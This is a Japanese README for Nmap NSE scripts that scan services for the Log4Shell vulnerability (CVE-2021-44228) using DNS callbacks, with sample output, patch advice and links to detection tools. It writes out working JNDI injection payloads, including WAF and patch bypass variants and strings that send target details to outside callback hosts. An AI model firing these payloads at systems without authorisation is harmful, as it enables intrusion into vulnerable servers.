
log4shell または LogJam の脆弱性をチェックするための Nmap NSE スクリプト (CVE-2021-44228)
Nmap NSEスクリプトで、log4shellおよびLogJamの脆弱性(CVE-2021-44228)を確認します。NSEスクリプトは、インターネット上で露出している一般的なサービスをチェックします。ペイロードをカスタマイズできる基本的なスクリプトです。
注意事項: NSEスクリプトはサービスに対してリクエストを送信するだけです。Nmapは脆弱なホストを報告しません。脆弱性を判断するにはDNSログを確認する必要があります。ペイロードを手動で指定しない場合、NSEスクリプトはデフォルトでdnslog.cnを使用します。つまり、リクエストはdnslog.cnに表示されます。
スクリプトが配置されているディレクトリに移動し、次のコマンドを実行します(Nmapが自動的にdnslog.cnを取得します)。
Linuxの場合:
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org
Windowsの場合:
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org
v2.15.0の新しいパッチバイパス(CVE-2021-45046)。@marcioalm氏に感謝(ツイート):
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}
AWSバイパス(@11xuxx氏に感謝 - ツイート):
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}
Akamaiバイパス(@ozgur_bbh氏に感謝 - ツイート):
${jndi${123%25ff:-}:ldap://HOST:PORT/a}
Windowsの例(@ZedFuzz氏に感謝) - 引用符のエスケープ方法に注意:
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org
http://github.com/kost/logdns にアクセスしてDNSサーバーを入手してください。ドメインを取得し、logdnsをインストールした場所を指すように設定します:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
http://dnslog.cn/ にアクセスしてSubDomainを取得します。取得したSubDomainでxxxxを置き換えます:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Burp Collaboratorからドメインを取得し、取得したドメインでxxxxを置き換えます:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
CanaryTokenからトークンを取得し、取得したドメインでxxxxを置き換えます:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN
@saintz666氏に感謝
dnslog.cnのセッションは短時間(約30分)です。スキャンにかかる時間だけセッションを延長する方法があるはずです。また、DNSクエリがリクエスト受信よりかなり遅れて発生することがあります。リクエストから数時間後にDNSリクエストを受け取ったという報告もあります。 回避策として、nmap NSEスクリプトは各ホストのスキャン後にセッションを取得します。
したがって、現時点で最も確実なのは、logdnsのようなツールでカスタムDNSドメインを使用することです: https://github.com/kost/logdns
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
| Domain: 2t722h.dnslog.cn
|_ Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
9929/tcp open nping-echo
31337/tcp open Elite
Host script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds
最善の修正と回避策のリストです。
CVE-2021-44228から保護するための最善の解決策: log4j-2.16.0以降に更新してください。
新しい脆弱性が見つかったため、log4j-2.15.0-rc1はもはや推奨されません。したがって、log4j-2.16.0以降に更新する必要があります(@ruppde氏に感謝)。
また、log4j2.formatMsgNoLookupsをtrueに設定するなどの他の推奨事項は避けるべきです。
log4shellの脆弱性を特定するには、ローカルファイルシステムでlog4j関連のファイルを探すのが最善です。
これらのNSEスクリプトは、追加の確認手段としてのみ使用してください。NSEは脆弱なサービスを特定するのに役立ちますが、脆弱なアプリケーション自体を特定するわけではありません。すべてのリクエスト(ルート/を含む)をログに記録するアプリケーションであれば特定できますが、脆弱性がログインの背後に隠れている場合は特定できません。その場合は、Web全体をクロールするWebスキャナが必要です。
次の例で特定のURIを確認できます:
http-log4shell.url=/my/application/uri
HTTPヘッダーとCookieを介してチェックします。POST/GETフォームをチェックする必要がある場合は、http-spider-log4shellを確認してください。それでも、log4jに対応したWebスキャナを使用するのが最善です。
また、log4j-core <= 2.7 の式内でプレフィックスを組み合わせたDNS解決はサポートされていないようです。そのため、${java:os} のようなものでテストすると偽陰性が生じる可能性があります。
したがって、偽陰性よりも偽陽性が少しある方が良いです。
脆弱性に関する一般的な参考情報とリンクです。
Redditスレッド - log4shellに関する一般的な情報
NCC log4shell - 脆弱性に関する運用情報(IOC、緩和策、スキャン、ソフトウェア)
BlueTeam CheatSheet Log4Shell - Log4Shell(CVE-2021-44228)に関連するセキュリティアドバイザリ / 速報
Software List - チートシート リファレンスガイド - ベンダーの対応による影響を受けるソフトウェアのリスト
リモートおよびオンラインでのチェックは、追加の確認やクイックテストとして役立ちます。さらなる確認のためには、既知のlog4jシグネチャをローカルファイルでスキャンすることをお勧めします。
lo4shell.huntress.com - オンラインのLog4Shell脆弱性テスター
log4j yara - ローカル検出用のyaraルール
identify-log4j-class-location.sh - ear/war/jarファイル群からCVE-2021-44228の影響を受けるLog4Jクラスを特定するスクリプト
PoC-log4j-bypass-words - 単語をブロックするパッチを回避するトリック
log4shell-detector - Log4Shellの悪用試行を検出する検出器
Log4Shell-IOCs - IOCフィードと脅威レポートのリスト
log4j_rce_detection.md - これらのコマンドとルールを使用して、悪用の試行を検索できます
log4j advisory - Apache Log4jのセキュリティ脆弱性
log4j pull request and comments - コメントに関するバグを修正するプルリクエスト
Logout4Shell - 手動パッチ適用に代わる迅速で簡易的な代替手段